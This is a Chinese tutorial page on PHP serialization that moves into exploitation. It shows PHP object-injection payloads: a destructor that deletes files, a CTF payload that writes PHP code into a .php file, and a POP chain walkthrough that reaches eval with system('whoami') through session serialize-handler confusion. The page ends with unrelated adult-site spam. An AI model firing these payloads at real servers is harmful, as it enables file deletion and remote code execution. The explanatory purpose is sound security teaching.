簡(jiǎn)單分析PHP中序列化用法介紹

    時(shí)間:2024-08-15 18:02:59 PHP 我要投稿
    • 相關(guān)推薦

    簡(jiǎn)單分析PHP中序列化用法介紹

      序列化在我們學(xué)習(xí)php中都會(huì)有用到了對(duì)于序列化我們常用的函數(shù)有serialize和unserialize了,希望以下這篇文章能夠幫助到各位了解到PHP中序列化用法,具體如下:

      0x00 序列化函數(shù)

      serialize():返回帶有變量類型和值的字符串

      unserialize():想要將已序列化的字符串變回 PHP 的值

      測(cè)試代碼:

      <?php

      class test{

      var $a;

      var $b;

      function __construct($a,$b,$c){

      $a  = $a;

      $this->b = $b;

      }

      }

      class test1 extends test{

      function __construct($a){

      $this->a = $a;

      }

      }

      $a = 'hello';

      $b = 123;

      $c = false;

      $d = new test('helloa','hellob','helloc');

      $e = new test1('hello');

      var_dump(serialize($a));

      var_dump(serialize($b));

      var_dump(serialize($c));

      var_dump(serialize($d));

      var_dump(serialize($e));

      ?>

      運(yùn)行結(jié)果:

      string 's:5:"hello";' (length=12)

      string 'i:123;' (length=6)

      string 'b:0;' (length=4)

      string 'O:4:"test":2:{s:1:"a";N;s:1:"b";s:6:"hellob";}' (length=46)

      string 'O:5:"test1":2:{s:1:"a";s:5:"hello";s:1:"b";N;}' (length=46)

      序列化字符串格式: 變量類型:變量長(zhǎng)度:變量?jī)?nèi)容 。

      如果序列化的是一個(gè)對(duì)象,序列化字符串格式為:

      變量類型:類名長(zhǎng)度:類名:屬性數(shù)量:{屬性類型:屬性名長(zhǎng)度:屬性名;屬性值類型:屬性值長(zhǎng)度:屬性值內(nèi)容}

      將上述結(jié)果反序列化輸出,執(zhí)行結(jié)果:

      string 'hello' (length=5)

      int 123

      boolean false

      object(test)[1]

      public 'a' => null

      public 'b' => string 'hellob' (length=6)

      object(test1)[1]

      public 'a' => string 'hello' (length=5)

      public 'b' => null

      0x01 對(duì)象序列化

      當(dāng)序列化對(duì)象時(shí),PHP 將在序列動(dòng)作之前調(diào)用該對(duì)象的成員函數(shù) sleep()。這樣就允許對(duì)象在被序列化之前做任何清除操作。類似的,當(dāng)使用 unserialize() 恢復(fù)對(duì)象時(shí), 將調(diào)用 wakeup()成員函數(shù)。

      在serialize()函數(shù)執(zhí)行時(shí),會(huì)先檢查類中是否定義了 sleep()函數(shù),如果存在,則首先調(diào)用 sleep()函數(shù),如果不存在,就保留序列字符串中的所有屬性。

      在unserialize()函數(shù)執(zhí)行時(shí),會(huì)先檢查是否定義了 wakeup()函數(shù)。如果 wakeup()存在,將執(zhí)行__wakeup()函數(shù),會(huì)使變量被重新賦值。

      serialize()測(cè)試代碼:

      <?php

      class test{

      var $a;

      var $b;

      function __construct($a,$b,$c){

      $this->a  = $a;

      $this->b = $b;

      }

      function __sleep(){

      echo "b has changed"."\n";

      $this->b = 'hib';

      return $this->b;

      }

      function __wakeup(){

      echo "a has changed"."\n";

      $this->a = 'hia';

      }

      }

      class test1 extends test{

      function __construct($a){

      $this->a = $a;

      }

      }

      $d = new test('helloa','hellob','helloc');

      $e = new test1('hello');

      serialize($d);

      serialize($e);

      var_dump($d);

      var_dump($e);

      ?>

      執(zhí)行結(jié)果:

      b has changed b has changed

      object(test)[1]

      public 'a' => string 'helloa' (length=6)

      public 'b' => string 'hib' (length=3)

      object(test1)[2]

      public 'a' => string 'hello' (length=5)

      public 'b' => string 'hib' (length=3)

      unserialize()測(cè)試代碼:

      class test{

      var $a;

      var $b;

      function __construct($a,$b,$c){

      $this->a  = $a;

      $this->b = $b;

      }

      function __sleep(){

      echo "b has changed"."\n";

      $this->b = 'hib';

      return $this->b;

      }

      function __wakeup(){

      echo "a has changed"."\n";

      $this->a = 'hia';

      }

      }

      class test1 extends test{

      function __construct($a){

      $this->a = $a;

      }

      }

      $d = 'O:4:"test":2:{s:1:"a";N;s:1:"b";s:6:"hellob";}' ;

      $e = 'O:5:"test1":2:{s:1:"a";s:5:"hello";s:1:"b";N;}' ;

      var_dump(unserialize($d));

      var_dump(unserialize($e));

      運(yùn)行結(jié)果:

      a has changed

      object(test)[1]

      public 'a' => string 'hia' (length=3)

      public 'b' => string 'hellob' (length=6)

      a has changed

      object(test1)[1]

      public 'a' => string 'hia' (length=3)

      public 'b' => null

      0x02 PHP序列化的利用

      1、magic函數(shù)和序列化

      參考: php對(duì)象注入

      除了 sleep()和 wakeup()函數(shù),在序列化時(shí)會(huì)執(zhí)行外,還有下面幾種利用方式。

      Class File

      {

      function __construct($var,$file1,$file2){

      $this->var = $var;

      $this->file1 = $file1;

      $this->file2 = $file2;

      echo $this->var.' and '.$this->file1.' and '.$this->file2.'defined';

      }

      function __destruct(){

      unlink(dirname(__FILE__) . '/' . $this->file1);

      echo $this->file1.'deleted';

      }

      function __toString(){

      return file_get_contents($this->file2);

      }

      }

      // $file = new File('hello','123.txt','456.php');

      // var_dump(serialize($file));

      echo unserialize('O:4:"File":3:{s:3:"var";s:5:"hello";s:5:"file1";s:7:"123.txt";s:5:"file2";s:7:"456.php";}');

      ( construct()函數(shù),在實(shí)例化一個(gè)對(duì)象時(shí)被調(diào)用,一般用來(lái)給屬性賦值, destruct()在實(shí)例化對(duì)象完成后執(zhí)行,__toString()函數(shù)在echo一個(gè)對(duì)象時(shí)被調(diào)用)

      construct()函數(shù)內(nèi)定義了三個(gè)變量,var這個(gè)沒(méi)什么暖用,file1和file2,我們?cè)谛蛄谢址卸x為已經(jīng)服務(wù)器上已經(jīng)存在的兩個(gè)文件123.txt和456.php,destruct()中有一個(gè)unlink方法,是刪除file1,__toString()中,讀取file2的內(nèi)容。

      執(zhí)行結(jié)果:

      123.txtdeleted

      查看源碼:

      <?php  echo 123; ?>123.txtdeleted

      將字符串反序列化后,由于已經(jīng)對(duì)變量賦過(guò)值,那么就不會(huì)再執(zhí)行 construct()函數(shù),在 construct()中賦值的變量也是無(wú)效的。上述代碼中 destruct()方法在在反序列化后,實(shí)例化對(duì)象結(jié)束后執(zhí)行了, tostring()函數(shù)在echo unserialize()處,也被執(zhí)行了

      如果說(shuō)在當(dāng)前頁(yè)面中有request系列函數(shù),那么就可以造成php對(duì)象注入:

      http://drops.wooyun.org/papers/4820

      2、三個(gè)白帽挑戰(zhàn)賽第三期

      是一道源碼審計(jì)題,題目大致是sql注入結(jié)合序列化寫入文件

      部分源碼也是在某個(gè)大神 博客 看到的(由于我沒(méi)有做過(guò)題,所以我只截取了和序列化漏洞相關(guān)的部分源碼):

      class Cache extends \ArrayObject

      {

      public $path;

      function __construct($path)

      {

      parent::__construct([],\ArrayObject::STD_PROP_LIST | \ArrayObject::ARRAY_AS_PROPS);

      $this->path = $path;

      if(file_exists($path)){

      $this->cache = unserialize(file_get_contents($this->path));

      }

      function offset(){

      //一些不知道干嘛用的代碼

      }

      }

      function __destruct()

      {

      $cache = $this->serialize();

      file_put_contents($this->path, $cache);

      }

      }

      又由于我沒(méi)有做過(guò)題。。。。所以模擬了這樣一個(gè)頁(yè)面去實(shí)例化:

      include('cache.php');

      $cache = new Cache('path.txt');

      這題好像是這樣的:

      通過(guò)SQL注入,可控一個(gè)文件,假設(shè)可控的是path.txt這個(gè)文件(在實(shí)際的題目中,SQL注入權(quán)限不夠,web目錄下不可寫文件,但其他目錄可寫,已知目錄下有文件md5(username).txt,文件名知道,內(nèi)容可控),這段代碼的意思是,判斷該文件存在后,讀取文件內(nèi)容,并且反序列化內(nèi)容,結(jié)束時(shí)再經(jīng)過(guò)序列化存進(jìn)文件中。所以可以在可控文件中構(gòu)造序列化字符串,改變當(dāng)前的path屬性為我們想要的目錄。

      path.txt:

      C:5:"Cache":103:{x:i:3;a:0:{};m:a:2:{s:4:"path";s:25:"F:\wamp\www\test\path.php";s:5:"cache";s:18:"<?php echo 123; ?>";}}

      上述字符串是通過(guò)輸出serialize(一個(gè)實(shí)例化的Cache對(duì)象)構(gòu)造的,當(dāng)__construct()執(zhí)行時(shí),就會(huì)將上述字符串反序列化,此時(shí)已經(jīng)實(shí)例化了一個(gè)cache對(duì)象,而它的path值變成了我們定義的”F:\wamp\www\test\path.php”,并且多了一個(gè)cache屬性,值為 <?php echo 123; ?> ,這里的屬性名cache是可以隨意取的,但如果源碼中:

      $cache = $this->serialize();

      變成了:

      $cache = serialize($this->cache);

      那么path.txt中的 "cache";s:18:"<?php echo 123; ?>" ;屬性名就必須和源碼serialize($this->cache)當(dāng)中的屬性名相同。

      所以,現(xiàn)在服務(wù)器上其實(shí)有兩個(gè)對(duì)象,一個(gè)是 $cache = new Cache('path.txt'); 定義的$cache,它的path屬性值為path.txt;另一個(gè)對(duì)象是

      C:5:"Cache":103:{x:i:3;a:0:{};m:a:2:{s:4:"path";s:25:"F:\wamp\www\test\path.php";s:5:"cache";s:18:"<?php echo 123; ?>";}} 被反序列化后的對(duì)象,它的path屬性的值為path.php。

      兩個(gè)對(duì)象實(shí)例化結(jié)束后,會(huì)調(diào)用其__destruct()方法,將對(duì)象自身序列化,寫入path屬性定義的路徑中。這樣就將包含 <?php echo 123; ?> 的內(nèi)容寫進(jìn)了path.php中。

      3、安恒ctf web3

      一道源碼審計(jì)題,解題思路是session上傳進(jìn)度,和session序列化處理器漏洞相結(jié)合。

      session上傳進(jìn)度:

      參考: upload-progress

      當(dāng) session.upload_progress.enabled INI 選項(xiàng)開啟時(shí),在一個(gè)上傳處理中,在表單中添加一個(gè)與INI中設(shè)置的 session.upload_progress.name 同名變量時(shí),$_SESSION中就會(huì)添加一個(gè)保存上傳信息的session值,它的session名是 INI 中定義的 session.upload_progress.prefix 加表單中的post的 session.upload_progress.name

      測(cè)試代碼:

      <form action="" method="POST" enctype="multipart/form-data">

      <input type="hidden" name="<?php echo ini_get("session.upload_progress.name"); ?>" value="123" />

      <input type="file" name="123123" />

      <input type="submit" />

      </form>

      <?php

      session_start();

      var_dump($_SESSION);

      ?>

      (要查看到上傳session,INI貌似要設(shè)置這個(gè)session.upload_progress.cleanup = Off)

      session序列化處理器:

      參考: session序列化

      當(dāng)session.auto_start = 0時(shí):

      兩個(gè)腳本注冊(cè) Session 會(huì)話時(shí)使用的序列化處理器(session.serialize_handler)不同,就會(huì)出現(xiàn)安全問(wèn)題。

      經(jīng)過(guò)測(cè)試發(fā)現(xiàn)在1.php頁(yè)面注冊(cè)session.serialize_handler=‘php_serialize’;

      在2.php中注冊(cè)session.serialize_handler=‘php’;

      那么在1.php中偽造一個(gè)格式為:豎線加上對(duì)象序列化后的字符串

      如: |O:4:"ryat":1:{s:2:"hi";s:4:"ryat";}

      那么會(huì)按照 php 處理器的反序列化格式讀取數(shù)據(jù),成功地實(shí)例化了該對(duì)象。

      反之,如果是從php->php_serialize,是不可行的。

      當(dāng)session.auto_start = 1時(shí):

      只能注入 PHP 的內(nèi)置類

      web3 源碼:

      class.php:

      <?php

      class foo1{

      public $varr;

      function __construct(){

      $this->varr = "index.php";

      }

      function __destruct(){

      if(file_exists($this->varr)){

      echo $this->varr;

      }

      echo "這是foo1的析構(gòu)函數(shù)";

      }

      }

      class foo2{

      public $varr;

      public $obj;

      function __construct(){

      $this->varr = '1234567890';

      $this->obj = null;

      }

      function __toString(){

      $this->obj->execute();

      return $this->varr;

      }

      function __desctuct(){

      echo "這是foo2的析構(gòu)函數(shù)";

      }

      }

      class foo3{

      public $varr;

      function execute(){

      eval($this->varr);

      }

      function __desctuct(){

      echo "這是foo3的析構(gòu)函數(shù)";

      }

      }

      ?>

      index.php:

      <?php

      ini_set('session.serialize_handler', 'php');

      require("./sessionTest.php");

      session_start();

      $obj = new foo1();

      $obj->varr = "phpinfo.php";

      ?>

      想辦法讓程序執(zhí)行foo3的excute()函數(shù),就要通過(guò)foo2的 toString(),要執(zhí)行foo2的 toString()就要通過(guò)echo foo2,剛好foo1的__deatruct()有段這樣的代碼 echo $this->varr;

      所以這樣構(gòu)造:

      include('class.php');

      $t1 = new foo1;

      $t2 = new foo2;

      $t3 = new foo3;

      $t3->varr = "system('whoami');";

      $t2->obj = $t3;

      $t1->varr = $t2;

      $s1 = serialize($t1);

      var_dump($s1);

      構(gòu)造出這樣一串: O:4:”foo1”:1:{s:4:”varr”;O:4:”foo2”:2:{s:4:”varr”;s:10:”1234567890”;s:3:”obj”;O:4:”foo3”:1:{s:4:”varr”;s:17:”system(‘whoami’);”;}}}

      所以構(gòu)造一個(gè)表單,向class.php上傳文件,通過(guò)session上傳進(jìn)度保存的session,來(lái)觸發(fā)session序列化漏洞,由于INI中設(shè)置的序列化處理器為php_serialize,而index.php中將其設(shè)置為php,就使得偽造的session被成功地實(shí)例化了。

      有兩類不同的插法~

      1、將序列化字符串插入PHP_SESSION_UPLOAD_PROGRESS

      session名變成了PHP_SESSION_UPLOAD_PROGRESS_123,|后面的payload會(huì)替換整個(gè)session值

      2、將序列化字符串插入post內(nèi)容中

      因?yàn)閟ession會(huì)存上傳文件的內(nèi)容和文件名,所以也可以將序列化字符串插入name、filename.文件上傳原本的session值一直到name前面一個(gè)參數(shù)為止,變成了session名,name參數(shù)|后面的payload變成了session值。

    【簡(jiǎn)單分析PHP中序列化用法介紹】相關(guān)文章:

    簡(jiǎn)單介紹php構(gòu)造函數(shù)用法03-15

    php中dirname()和--FILE--常量的用法04-01

    PHP中的排序函數(shù)區(qū)別分析03-31

    PHP中MySQL、MySQLi和PDO的用法和區(qū)別03-10

    PHP對(duì)象注入的實(shí)例分析03-15

    PHP中curl的使用實(shí)例04-01

    PHP中關(guān)于類的定義04-01

    php中session的實(shí)現(xiàn)原理以及大網(wǎng)站應(yīng)用應(yīng)注意的問(wèn)題分析04-01

    PHP中函數(shù)的使用說(shuō)明03-30

    91久久大香伊蕉在人线_国产综合色产在线观看_欧美亚洲人成网站在线观看_亚洲第一无码精品立川理惠

      亚洲一级淫片在线免费 | 在线观看AV中文字幕不卡 | 亚洲综合在线一区二区三区 | 亚洲欧美国产免费综合视频 | 日本有码中文字幕 | 亚洲中文在线伊人 |